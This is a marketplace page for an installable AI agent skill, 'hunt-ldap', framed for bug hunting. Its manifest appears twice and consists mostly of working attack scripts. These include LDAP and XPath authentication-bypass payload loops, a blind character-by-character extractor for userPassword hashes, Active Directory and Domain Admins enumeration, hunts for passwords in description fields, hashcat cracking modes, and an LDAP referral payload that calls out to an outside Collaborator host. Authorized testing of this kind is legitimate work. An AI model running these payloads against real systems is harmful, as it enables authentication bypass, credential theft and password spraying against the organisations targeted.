Claude Skill

hunt-ldap

Hunt LDAP Injection and XPath Injection — authentication bypass, blind char-by-char attribute exfiltration, AD user/group enumeration, XML-store XPath bypass. Covers the LDAP special-character set (* ( ) \ NUL /), search-filter-context vs DN-injection, parenthesis-balancing, AND/

LLM Mart · 0 points · 21 views 0 listing impressions 0 install-command copies
Virus-scanned Reviewed automatically before listing.

Full trust report

Download elementalsouls-claude-bughunter-skills_hunt-ldap-ab8bde4.zip · 6 KB
Part of elementalsouls/claude-bughunter — 83 skills

Install

skills CLI npx skills add https://github.com/elementalsouls/Claude-BugHunter/tree/main/skills/hunt-ldap
Claude Code claude plugin marketplace add https://llmmart.ai/marketplace.json && claude plugin install elementalsouls-claude-bughunter@llmmart
Git git clone https://github.com/elementalsouls/Claude-BugHunter.git

The skills CLI installs just this skill, for any of its supported agents. Claude Code installs the whole elementalsouls/claude-bughunter collection as a plugin from our marketplace. Git is the plain clone.

Skill manifest

HUNT-LDAP — LDAP Injection & XPath Injection

Grounding note: LDAP injection is rarely disclosed with verbatim payloads on public platforms (most live on internal-pentest reports). This skill is grounded in the OWASP LDAP Injection Prevention / Testing Guide (WSTG-INPV-06), PortSwigger Web Security Academy (LDAP injection), and the RFC 4515 filter grammar — all publicly verifiable references rather than invented HackerOne IDs. Do not cite a report you cannot link.

Crown Jewel Targets

LDAP injection that bypasses authentication = Critical. Blind attribute exfiltration of credentials/secrets = High. AD enumeration alone = Medium-High.

Highest-value chains:

  • LDAP auth bypass — close the uid filter and append an always-true OR so the bind/search returns the admin entry without a valid password.
  • Blind attribute exfil — char-by-char extraction of an attribute value via a boolean oracle (login success/failure, result count, or response length).
  • userPassword hash exfil (non-AD only) — on OpenLDAP/389-DS the userPassword attribute can hold {SSHA}/{CRYPT} hashes that ARE readable by query. See the AD-vs-generic warning below.
  • XPath injection auth bypass — ' or '1'='1 against XML-backed auth.

CRITICAL — Active Directory vs generic LDAP

Do not conflate the two. They behave very differently:

Generic LDAP (OpenLDAP, 389-DS, ApacheDS) Active Directory
Password attribute userPassword — may hold {SSHA}/{MD5}/{CRYPT} and is readable if ACL allows unicodePwd — write-only, never returned by any search
Hash exfil via injection Possible where ACLs leak userPassword Not possible — there is no readable hash attribute over LDAP
Useful enum attrs uid, cn, mail, userPassword sAMAccountName, userPrincipalName, mail, memberOf, description (often holds plaintext secrets!)

Do not tell a reader that blind LDAP injection yields AD password hashes — it does not. unicodePwd is write-only. Against AD, the win is enumeration (sAMAccountName, memberOf, description/info fields that admins misuse to store passwords) and auth bypass — not hash dumping. The hash-exfil technique applies only to non-AD directories exposing userPassword.


Attack Surface Signals

Corporate SSO / intranet login pages (often legacy Java/Spring/PHP)
Windows + IIS + "integrated" directory auth
/api/ldap/*  /api/directory/*  /people  /address-book  /search?dir=
"Find a colleague" / org-chart / employee-search features
XML-backed config or auth → XPath injection candidate
Error strings that confirm an LDAP backend:
  javax.naming.NameNotFoundException
  javax.naming.directory.InvalidSearchFilterException
  LDAP: error code 49 - 80090308  (AD invalid creds / bind failure)
  com.sun.jndi.ldap.*  /  System.DirectoryServices  /  ldap_search():
  "Bad search filter"  /  net.ldap (Go)  /  python-ldap SERVER_DOWN

LDAP filter grammar (RFC 4515) — why injection works

A login filter is typically built by string-concat:

(&(uid=<USERNAME>)(userPassword=<PASSWORD>))

& = AND, | = OR, ! = NOT. Filters are prefix/Polish notation — the operator comes first and every sub-filter is parenthesised. To inject you must (a) escape the current (uid=...) group, (b) inject your own logic, and (c) leave the overall parenthesis count balanced or the server throws a filter-syntax error instead of executing.

The special-character set — TEST EACH ONE

These characters are syntactically meaningful and MUST be escaped by a safe app (RFC 4515 §3). If the app reflects an error or behaves differently when you send them raw, the input is unescaped → injectable:

Char Filter escape Why it matters
* \2a wildcard — matches any value
( \28 opens a filter group
) \29 closes a filter group
\ \5c escape char itself
NUL \00 string terminator — truncates filter in C-backed servers
/ (DN context) RDN separator — relevant for DN injection

Search-filter context vs DN injection are different bugs:

  • Search-filter injection (most common): your input lands inside a (attr=VALUE) filter. Payloads use * ( ) & | !.
  • DN injection: your input is concatenated into a Distinguished Name (uid=VALUE,ou=people,dc=corp). Here , = + " \ < > ; and / matter, and a * is NOT a wildcard. Test both — the payloads do not transfer.

Step-by-Step Hunting Methodology

Phase 1 — Confirm an LDAP backend (baseline first)

# ALWAYS capture a control response first — you compare everything to this.
BASE=$(curl -s -o /dev/null -w "%{http_code}|%{size_download}|%{time_total}" \
  -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"validlookinguser","password":"wrongpass"}')
echo "BASELINE (valid-format, wrong pw): $BASE"

# Send a single unbalanced paren. A SAFE (escaping) app → identical baseline.
# An INJECTABLE app → 500 / filter-syntax error / different size.
curl -s -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"test)","password":"x"}' | grep -iE \
  "naming|InvalidSearchFilter|error code 49|Bad search filter|jndi|ldap_search"

A lone ) that produces a syntax error/500 while a balanced payload does not is the cleanest LDAP-injection tell — note it, you will need it as proof.

Phase 2 — Auth-bypass payloads (balance your parentheses)

# Target filter assumed: (&(uid=USERNAME)(userPassword=PASSWORD))
# Goal: make the uid sub-filter always-true and neutralise the password clause.

# Wildcard-everything (works when password clause is dropped by a trailing comment-like break):
#   username = *)(uid=*))(|(uid=*    password = anything
# Always-true admin (OR uid=*):
#   username = admin)(|(uid=*)       (note: leaves one extra ')' — see below)
# NUL-truncate the password clause (C-backed servers):
#   username = admin)(uid=*))%00      password = x

USERNAME_PAYLOADS=(
  'admin))(|(uid=*'        # close uid + close &, open OR uid=* — balance check below
  '*)(uid=*))(|(uid=*'     # full always-true, self-balancing classic
  'admin)(!(userPassword=ZZZ))'  # AND NOT a password that is never set → always true
  'admin*'                 # simple wildcard suffix — try first, lowest noise
)

for P in "${USERNAME_PAYLOADS[@]}"; do
  R=$(curl -s -w "|%{http_code}|%{size_download}" -X POST https://$TARGET/api/login \
    -H "Content-Type: application/json" \
    -d "{\"username\":$(python3 -c 'import json,sys;print(json.dumps(sys.argv[1]))' "$P"),\"password\":\"anything\"}")
  echo "PAYLOAD: $P"
  echo "RESP:    ${R: -40}"
  echo "BASE:    $BASE   <-- compare http_code+size to rule out false positive"
  echo "---"
done

Parenthesis-balancing rule of thumb: count ( minus ) in the resulting full filter, not just your payload. If the app appends )(userPassword=...)) after your input, leave the right number of trailing ) so the final string is balanced. An unbalanced filter = syntax error = NOT a bypass (false positive).

Phase 3 — Blind exfil with a CONTROLLED oracle (not raw byte-count)

Raw size_download diffing is noise-prone (WAF banners, CSRF tokens, timestamps, length-jitter on the injected char itself). Use a paired true/false control so the oracle is the response, not the absolute size.

# Oracle pair: a known-TRUE filter and a known-FALSE filter on a public attr.
# TRUE : admin)(uid=*))(|(uid=*     -> entry exists
# FALSE: admin)(uid=NONEXIST_ZZZ))(|(uid=NONEXIST_ZZZ
probe () {  # $1 = filter-tail payload -> prints normalized size
  curl -s -o /dev/null -w "%{size_download}" -X POST https://$TARGET/api/login \
    -H "Content-Type: application/json" \
    -d "{\"username\":\"$1\",\"password\":\"x\"}"
}
T=$(probe 'admin)(uid=*))(|(uid=*')
F=$(probe 'admin)(uid=NONEXIST_ZZZ))(|(uid=NONEXIST_ZZZ')
echo "TRUE-class size=$T  FALSE-class size=$F"
[ "$T" = "$F" ] && { echo "No length oracle — try a STATUS or BODY-MARKER oracle, or OOB."; exit; }

# Now extract char-by-char. The boolean test compares against $T/$F, NOT a guess.
# Filter: (&(uid=admin)(userPassword=<PREFIX><CHAR>*))  on a NON-AD directory.
PREFIX=""
for pos in $(seq 1 32); do
  for C in {a..z} {A..Z} {0..9} '$' '/' '.' '+' '=' '{' '}'; do
    S=$(probe "admin)(userPassword=${PREFIX}${C}*))(|(uid=*")
    if [ "$S" = "$T" ]; then PREFIX="${PREFIX}${C}"; echo "[$pos] -> $PREFIX"; break; fi
  done
done
echo "RECOVERED: $PREFIX"

False-positive guards for blind exfil:

  • Repeat each positive char 3x and confirm the size is stable — length-jitter from the attacker-controlled char itself is the #1 false positive.
  • Confirm the FALSE control still returns the FALSE size after each round (the app didn't just start erroring on every request — WAF block looks like a match).
  • If body length is unreliable, switch the oracle to HTTP status, a body marker string ("Invalid credentials" present/absent), or timing with a heavy filter — but only after establishing a stable baseline delta.

Phase 4 — XPath injection (XML-backed auth)

# Normal: //users/user[name/text()='ADMIN' and password/text()='PASS']
# Bypass closes the name predicate and OR-trues the whole expression.
XPATH_PAYLOADS=(
  "' or '1'='1"
  "' or ''='"
  "admin' or '1'='1' or 'a'='b"     # keeps quoting balanced
  "x'] | //user/* | //user[name()='x"  # blind: dump all user nodes (XPath has no comments)
  "*[contains(name(),'pass')]"          # node-name discovery
)
for P in "${XPATH_PAYLOADS[@]}"; do
  E=$(python3 -c 'import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1]))' "$P")
  R=$(curl -s -w "|%{http_code}|%{size_download}" -X POST https://$TARGET/api/login \
    --data-urlencode "username=$P" --data-urlencode "password=x")
  echo "$P  ->  ${R: -24}"
done
# XPath has NO comment syntax — you must keep quotes/brackets balanced, unlike SQLi.

Phase 5 — AD enumeration via wildcard (count oracle, with control)

# Establish that prefix='zzqx' (unlikely) returns ~0 and prefix='a' returns more.
# A directory that returns the SAME count for both is NOT leaking via wildcard.
count () { curl -s -X POST https://$TARGET/api/directory/search \
  -H "Content-Type: application/json" -d "{\"filter\":\"(sAMAccountName=$1*)\"}" \
  | python3 -c 'import sys,json;d=json.load(sys.stdin);print(len(d.get("results",d.get("users",[]))))' 2>/dev/null; }
CTRL=$(count "zzqx_unlikely")
echo "control count (should be ~0): $CTRL"
for L in {a..z}; do echo "$L* -> $(count $L)  (vs control $CTRL)"; done
# Then pivot to memberOf / description for privileged accounts:
#   (&(sAMAccountName=*)(memberOf=*Domain Admins*))
#   (description=*pw*)   (description=*pass*)   — admins stash secrets here

Phase 6 — Tooling & OOB confirmation

# Validate the inferred filter directly if you ever get LDAP creds / a bind:
ldapsearch -x -H ldap://$AD_HOST -D "CORP\\user" -w "$PW" \
  -b "dc=corp,dc=local" "(&(objectClass=user)(sAMAccountName=admin*))" sAMAccountName memberOf

# Burp: Intruder over the char set for blind exfil; the Web Security Academy
# "Blind LDAP injection" labs mirror the Phase-3 oracle exactly.
# OOB (rare but decisive): some JNDI/LDAP stacks resolve a referral. If you can
# inject a referral/URL the server dereferences, point it at Collaborator:
#   (uid=*))(referral=ldap://<COLLAB>/x)   — a DNS/LDAP hit at Collaborator
# is server-side proof with zero ambiguity. Treat any Collaborator interaction
# as the gold-standard confirmation for otherwise-blind cases.

Chain Table

LDAP finding Chain to Impact
Auth-bypass (always-true filter) Admin/SSO panel as first directory entry Critical
AD enumeration (sAMAccountName) Username list → password spray / credential stuffing Mass-ATO risk
memberOf enumeration Identify Domain Admins → targeted phishing/spray Targeted compromise
description/info field read Plaintext creds admins stashed there Direct credential leak
Blind exfil of userPassword (non-AD only) {SSHA} (salted SHA-1) → hashcat -m 111 ({SSHA256}=1411, {SSHA512}=1711); {CRYPT} → mode depends on the $id$ prefix ($1$=500, $6$=1800) → offline crack High
LDAP referral → Collaborator Server-side request / internal directory reach SSRF-class, confirms blind

AD has no readable password attribute — do not list "extract AD hashes" as a chain. Against AD, the credential win comes from description/info misuse or from enumerated usernames feeding a spray, never from unicodePwd.


Validation — rule out the false positive BEFORE you report

A "bypass" or "match" is only real once you have eliminated syntax-error, WAF-block, and length-jitter explanations.

  • Auth bypass: the always-true payload returns a valid authenticated session (session cookie + access to a post-login resource), and the same request with one paren removed returns a filter-syntax error — proving the filter parsed and executed, not that the app fell open on every input.
  • Negative control: an equivalently-shaped but logically-FALSE payload ()(uid=NONEXISTENT_ZZZ)) returns the failure response. If both true-class and false-class "succeed", you found a broken endpoint, not LDAP injection.
  • Blind exfil: each recovered char reproduces 3x with stable size; the FALSE control still reads FALSE between rounds; recovered value verified by a direct lookup or by the auth-bypass payload that uses it.
  • XPath: quotes/brackets remained balanced (no 500), and the bypass logged in to a real account context — not just a different error page.
  • OOB where possible: a Collaborator DNS/LDAP interaction from a referral payload is decisive for blind cases — prefer it over length-only inference.
  • AD claim discipline: if you say "AD", you enumerated AD-specific attrs (sAMAccountName/memberOf); never claim AD hash exfil.

Severity:

  • Auth bypass landing as admin/privileged directory entry: Critical
  • userPassword hash exfil (non-AD) or description-field credential read: High
  • AD user/group enumeration only: Medium-High
  • Blind boolean oracle confirmed but no useful attribute reachable: Medium
Files (claude-bughunter)
  • SKILL.md 15 KB
    ---
    name: hunt-ldap
    description: "Hunt LDAP Injection and XPath Injection — authentication bypass, blind char-by-char attribute exfiltration, AD user/group enumeration, XML-store XPath bypass. Covers the LDAP special-character set (* ( ) \\ NUL /), search-filter-context vs DN-injection, parenthesis-balancing, AND/OR filter logic, and {SSHA}/{CRYPT} userPassword exfil on non-AD directories. Use when target uses LDAP/AD authentication, corporate SSO with a directory backend, an address-book/people-search API, or XML-based data stores queried with XPath."
    sources: hackerone_public, owasp, portswigger
    report_count: 0
    ---
    
    # HUNT-LDAP — LDAP Injection & XPath Injection
    
    > Grounding note: LDAP injection is rarely disclosed with verbatim payloads on
    > public platforms (most live on internal-pentest reports). This skill is
    > grounded in the **OWASP LDAP Injection Prevention / Testing Guide
    > (WSTG-INPV-06)**, **PortSwigger Web Security Academy (LDAP injection)**, and
    > the **RFC 4515** filter grammar — all publicly verifiable references rather
    > than invented HackerOne IDs. Do not cite a report you cannot link.
    
    ## Crown Jewel Targets
    
    LDAP injection that bypasses authentication = **Critical**. Blind attribute
    exfiltration of credentials/secrets = **High**. AD enumeration alone = Medium-High.
    
    **Highest-value chains:**
    - **LDAP auth bypass** — close the `uid` filter and append an always-true OR so the
      bind/search returns the admin entry without a valid password.
    - **Blind attribute exfil** — char-by-char extraction of an attribute value via a
      boolean oracle (login success/failure, result count, or response length).
    - **userPassword hash exfil (non-AD only)** — on OpenLDAP/389-DS the
      `userPassword` attribute can hold `{SSHA}`/`{CRYPT}` hashes that ARE readable
      by query. See the AD-vs-generic warning below.
    - **XPath injection auth bypass** — `' or '1'='1` against XML-backed auth.
    
    ---
    
    ## CRITICAL — Active Directory vs generic LDAP
    
    Do **not** conflate the two. They behave very differently:
    
    | | Generic LDAP (OpenLDAP, 389-DS, ApacheDS) | Active Directory |
    |---|---|---|
    | Password attribute | `userPassword` — may hold `{SSHA}`/`{MD5}`/`{CRYPT}` and **is readable** if ACL allows | `unicodePwd` — **write-only**, never returned by any search |
    | Hash exfil via injection | **Possible** where ACLs leak `userPassword` | **Not possible** — there is no readable hash attribute over LDAP |
    | Useful enum attrs | `uid`, `cn`, `mail`, `userPassword` | `sAMAccountName`, `userPrincipalName`, `mail`, `memberOf`, `description` (often holds plaintext secrets!) |
    
    **Do not tell a reader that blind LDAP injection yields AD password hashes — it
    does not.** `unicodePwd` is write-only. Against AD, the win is enumeration
    (`sAMAccountName`, `memberOf`, `description`/`info` fields that admins misuse to
    store passwords) and auth bypass — not hash dumping. The hash-exfil technique
    applies **only** to non-AD directories exposing `userPassword`.
    
    ---
    
    ## Attack Surface Signals
    
    ```
    Corporate SSO / intranet login pages (often legacy Java/Spring/PHP)
    Windows + IIS + "integrated" directory auth
    /api/ldap/*  /api/directory/*  /people  /address-book  /search?dir=
    "Find a colleague" / org-chart / employee-search features
    XML-backed config or auth → XPath injection candidate
    Error strings that confirm an LDAP backend:
      javax.naming.NameNotFoundException
      javax.naming.directory.InvalidSearchFilterException
      LDAP: error code 49 - 80090308  (AD invalid creds / bind failure)
      com.sun.jndi.ldap.*  /  System.DirectoryServices  /  ldap_search():
      "Bad search filter"  /  net.ldap (Go)  /  python-ldap SERVER_DOWN
    ```
    
    ---
    
    ## LDAP filter grammar (RFC 4515) — why injection works
    
    A login filter is typically built by string-concat:
    
    ```
    (&(uid=<USERNAME>)(userPassword=<PASSWORD>))
    ```
    
    `&` = AND, `|` = OR, `!` = NOT. **Filters are prefix/Polish notation** — the
    operator comes first and every sub-filter is parenthesised. To inject you must
    (a) escape the current `(uid=...)` group, (b) inject your own logic, and
    (c) leave the overall parenthesis count **balanced** or the server throws a
    filter-syntax error instead of executing.
    
    ### The special-character set — TEST EACH ONE
    
    These characters are syntactically meaningful and MUST be escaped by a safe app
    (RFC 4515 §3). If the app reflects an error or behaves differently when you send
    them raw, the input is unescaped → injectable:
    
    | Char | Filter escape | Why it matters |
    |------|---------------|----------------|
    | `*`  | `\2a` | wildcard — matches any value |
    | `(`  | `\28` | opens a filter group |
    | `)`  | `\29` | closes a filter group |
    | `\`  | `\5c` | escape char itself |
    | NUL  | `\00` | string terminator — truncates filter in C-backed servers |
    | `/`  | (DN context) | RDN separator — relevant for DN injection |
    
    **Search-filter context vs DN injection** are different bugs:
    - **Search-filter injection** (most common): your input lands inside a
      `(attr=VALUE)` filter. Payloads use `* ( ) & | !`.
    - **DN injection**: your input is concatenated into a Distinguished Name
      (`uid=VALUE,ou=people,dc=corp`). Here `,` `=` `+` `"` `\` `<` `>` `;` and `/`
      matter, and a `*` is NOT a wildcard. Test both — the payloads do not transfer.
    
    ---
    
    ## Step-by-Step Hunting Methodology
    
    ### Phase 1 — Confirm an LDAP backend (baseline first)
    
    ```bash
    # ALWAYS capture a control response first — you compare everything to this.
    BASE=$(curl -s -o /dev/null -w "%{http_code}|%{size_download}|%{time_total}" \
      -X POST https://$TARGET/api/login \
      -H "Content-Type: application/json" \
      -d '{"username":"validlookinguser","password":"wrongpass"}')
    echo "BASELINE (valid-format, wrong pw): $BASE"
    
    # Send a single unbalanced paren. A SAFE (escaping) app → identical baseline.
    # An INJECTABLE app → 500 / filter-syntax error / different size.
    curl -s -X POST https://$TARGET/api/login \
      -H "Content-Type: application/json" \
      -d '{"username":"test)","password":"x"}' | grep -iE \
      "naming|InvalidSearchFilter|error code 49|Bad search filter|jndi|ldap_search"
    ```
    
    A lone `)` that produces a syntax error/500 while a balanced payload does not is
    the cleanest LDAP-injection tell — note it, you will need it as proof.
    
    ### Phase 2 — Auth-bypass payloads (balance your parentheses)
    
    ```bash
    # Target filter assumed: (&(uid=USERNAME)(userPassword=PASSWORD))
    # Goal: make the uid sub-filter always-true and neutralise the password clause.
    
    # Wildcard-everything (works when password clause is dropped by a trailing comment-like break):
    #   username = *)(uid=*))(|(uid=*    password = anything
    # Always-true admin (OR uid=*):
    #   username = admin)(|(uid=*)       (note: leaves one extra ')' — see below)
    # NUL-truncate the password clause (C-backed servers):
    #   username = admin)(uid=*))%00      password = x
    
    USERNAME_PAYLOADS=(
      'admin))(|(uid=*'        # close uid + close &, open OR uid=* — balance check below
      '*)(uid=*))(|(uid=*'     # full always-true, self-balancing classic
      'admin)(!(userPassword=ZZZ))'  # AND NOT a password that is never set → always true
      'admin*'                 # simple wildcard suffix — try first, lowest noise
    )
    
    for P in "${USERNAME_PAYLOADS[@]}"; do
      R=$(curl -s -w "|%{http_code}|%{size_download}" -X POST https://$TARGET/api/login \
        -H "Content-Type: application/json" \
        -d "{\"username\":$(python3 -c 'import json,sys;print(json.dumps(sys.argv[1]))' "$P"),\"password\":\"anything\"}")
      echo "PAYLOAD: $P"
      echo "RESP:    ${R: -40}"
      echo "BASE:    $BASE   <-- compare http_code+size to rule out false positive"
      echo "---"
    done
    ```
    
    **Parenthesis-balancing rule of thumb:** count `(` minus `)` in the *resulting*
    full filter, not just your payload. If the app appends `)(userPassword=...))`
    after your input, leave the right number of trailing `)` so the final string is
    balanced. An unbalanced filter = syntax error = NOT a bypass (false positive).
    
    ### Phase 3 — Blind exfil with a CONTROLLED oracle (not raw byte-count)
    
    Raw `size_download` diffing is noise-prone (WAF banners, CSRF tokens, timestamps,
    length-jitter on the injected char itself). Use a **paired true/false control**
    so the oracle is the *response*, not the absolute size.
    
    ```bash
    # Oracle pair: a known-TRUE filter and a known-FALSE filter on a public attr.
    # TRUE : admin)(uid=*))(|(uid=*     -> entry exists
    # FALSE: admin)(uid=NONEXIST_ZZZ))(|(uid=NONEXIST_ZZZ
    probe () {  # $1 = filter-tail payload -> prints normalized size
      curl -s -o /dev/null -w "%{size_download}" -X POST https://$TARGET/api/login \
        -H "Content-Type: application/json" \
        -d "{\"username\":\"$1\",\"password\":\"x\"}"
    }
    T=$(probe 'admin)(uid=*))(|(uid=*')
    F=$(probe 'admin)(uid=NONEXIST_ZZZ))(|(uid=NONEXIST_ZZZ')
    echo "TRUE-class size=$T  FALSE-class size=$F"
    [ "$T" = "$F" ] && { echo "No length oracle — try a STATUS or BODY-MARKER oracle, or OOB."; exit; }
    
    # Now extract char-by-char. The boolean test compares against $T/$F, NOT a guess.
    # Filter: (&(uid=admin)(userPassword=<PREFIX><CHAR>*))  on a NON-AD directory.
    PREFIX=""
    for pos in $(seq 1 32); do
      for C in {a..z} {A..Z} {0..9} '$' '/' '.' '+' '=' '{' '}'; do
        S=$(probe "admin)(userPassword=${PREFIX}${C}*))(|(uid=*")
        if [ "$S" = "$T" ]; then PREFIX="${PREFIX}${C}"; echo "[$pos] -> $PREFIX"; break; fi
      done
    done
    echo "RECOVERED: $PREFIX"
    ```
    
    False-positive guards for blind exfil:
    - **Repeat each positive char 3x** and confirm the size is stable — length-jitter
      from the attacker-controlled char itself is the #1 false positive.
    - Confirm the **FALSE control still returns the FALSE size** after each round (the
      app didn't just start erroring on every request — WAF block looks like a match).
    - If body length is unreliable, switch the oracle to **HTTP status**, a **body
      marker string** (`"Invalid credentials"` present/absent), or **timing** with a
      heavy filter — but only after establishing a stable baseline delta.
    
    ### Phase 4 — XPath injection (XML-backed auth)
    
    ```bash
    # Normal: //users/user[name/text()='ADMIN' and password/text()='PASS']
    # Bypass closes the name predicate and OR-trues the whole expression.
    XPATH_PAYLOADS=(
      "' or '1'='1"
      "' or ''='"
      "admin' or '1'='1' or 'a'='b"     # keeps quoting balanced
      "x'] | //user/* | //user[name()='x"  # blind: dump all user nodes (XPath has no comments)
      "*[contains(name(),'pass')]"          # node-name discovery
    )
    for P in "${XPATH_PAYLOADS[@]}"; do
      E=$(python3 -c 'import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1]))' "$P")
      R=$(curl -s -w "|%{http_code}|%{size_download}" -X POST https://$TARGET/api/login \
        --data-urlencode "username=$P" --data-urlencode "password=x")
      echo "$P  ->  ${R: -24}"
    done
    # XPath has NO comment syntax — you must keep quotes/brackets balanced, unlike SQLi.
    ```
    
    ### Phase 5 — AD enumeration via wildcard (count oracle, with control)
    
    ```bash
    # Establish that prefix='zzqx' (unlikely) returns ~0 and prefix='a' returns more.
    # A directory that returns the SAME count for both is NOT leaking via wildcard.
    count () { curl -s -X POST https://$TARGET/api/directory/search \
      -H "Content-Type: application/json" -d "{\"filter\":\"(sAMAccountName=$1*)\"}" \
      | python3 -c 'import sys,json;d=json.load(sys.stdin);print(len(d.get("results",d.get("users",[]))))' 2>/dev/null; }
    CTRL=$(count "zzqx_unlikely")
    echo "control count (should be ~0): $CTRL"
    for L in {a..z}; do echo "$L* -> $(count $L)  (vs control $CTRL)"; done
    # Then pivot to memberOf / description for privileged accounts:
    #   (&(sAMAccountName=*)(memberOf=*Domain Admins*))
    #   (description=*pw*)   (description=*pass*)   — admins stash secrets here
    ```
    
    ### Phase 6 — Tooling & OOB confirmation
    
    ```bash
    # Validate the inferred filter directly if you ever get LDAP creds / a bind:
    ldapsearch -x -H ldap://$AD_HOST -D "CORP\\user" -w "$PW" \
      -b "dc=corp,dc=local" "(&(objectClass=user)(sAMAccountName=admin*))" sAMAccountName memberOf
    
    # Burp: Intruder over the char set for blind exfil; the Web Security Academy
    # "Blind LDAP injection" labs mirror the Phase-3 oracle exactly.
    # OOB (rare but decisive): some JNDI/LDAP stacks resolve a referral. If you can
    # inject a referral/URL the server dereferences, point it at Collaborator:
    #   (uid=*))(referral=ldap://<COLLAB>/x)   — a DNS/LDAP hit at Collaborator
    # is server-side proof with zero ambiguity. Treat any Collaborator interaction
    # as the gold-standard confirmation for otherwise-blind cases.
    ```
    
    ---
    
    ## Chain Table
    
    | LDAP finding | Chain to | Impact |
    |--------------|----------|--------|
    | Auth-bypass (always-true filter) | Admin/SSO panel as first directory entry | Critical |
    | AD enumeration (`sAMAccountName`) | Username list → password spray / credential stuffing | Mass-ATO risk |
    | `memberOf` enumeration | Identify Domain Admins → targeted phishing/spray | Targeted compromise |
    | `description`/`info` field read | Plaintext creds admins stashed there | Direct credential leak |
    | Blind exfil of `userPassword` **(non-AD only)** | `{SSHA}` (salted SHA-1) → hashcat `-m 111` (`{SSHA256}`=1411, `{SSHA512}`=1711); `{CRYPT}` → mode depends on the `$id$` prefix (`$1$`=500, `$6$`=1800) → offline crack | High |
    | LDAP referral → Collaborator | Server-side request / internal directory reach | SSRF-class, confirms blind |
    
    > AD has no readable password attribute — do not list "extract AD hashes" as a
    > chain. Against AD, the credential win comes from `description`/`info` misuse or
    > from enumerated usernames feeding a spray, never from `unicodePwd`.
    
    ---
    
    ## Validation — rule out the false positive BEFORE you report
    
    A "bypass" or "match" is only real once you have eliminated syntax-error,
    WAF-block, and length-jitter explanations.
    
    - [ ] **Auth bypass:** the always-true payload returns a **valid authenticated
          session** (session cookie + access to a post-login resource), and the same
          request with one paren removed returns a **filter-syntax error** — proving
          the filter parsed and executed, not that the app fell open on every input.
    - [ ] **Negative control:** an equivalently-shaped but logically-FALSE payload
          (`)(uid=NONEXISTENT_ZZZ)`) returns the **failure** response. If both
          true-class and false-class "succeed", you found a broken endpoint, not LDAP
          injection.
    - [ ] **Blind exfil:** each recovered char reproduces 3x with stable size; the
          FALSE control still reads FALSE between rounds; recovered value verified by
          a direct lookup or by the auth-bypass payload that uses it.
    - [ ] **XPath:** quotes/brackets remained balanced (no 500), and the bypass logged
          in to a real account context — not just a different error page.
    - [ ] **OOB where possible:** a Collaborator DNS/LDAP interaction from a referral
          payload is decisive for blind cases — prefer it over length-only inference.
    - [ ] **AD claim discipline:** if you say "AD", you enumerated AD-specific attrs
          (`sAMAccountName`/`memberOf`); never claim AD hash exfil.
    
    **Severity:**
    - Auth bypass landing as admin/privileged directory entry: **Critical**
    - `userPassword` hash exfil (non-AD) or `description`-field credential read: **High**
    - AD user/group enumeration only: **Medium-High**
    - Blind boolean oracle confirmed but no useful attribute reachable: **Medium**
    

Comments (0)

Sign in to join the conversation.

No comments yet.

Reviews (0)

No reviews yet.

Related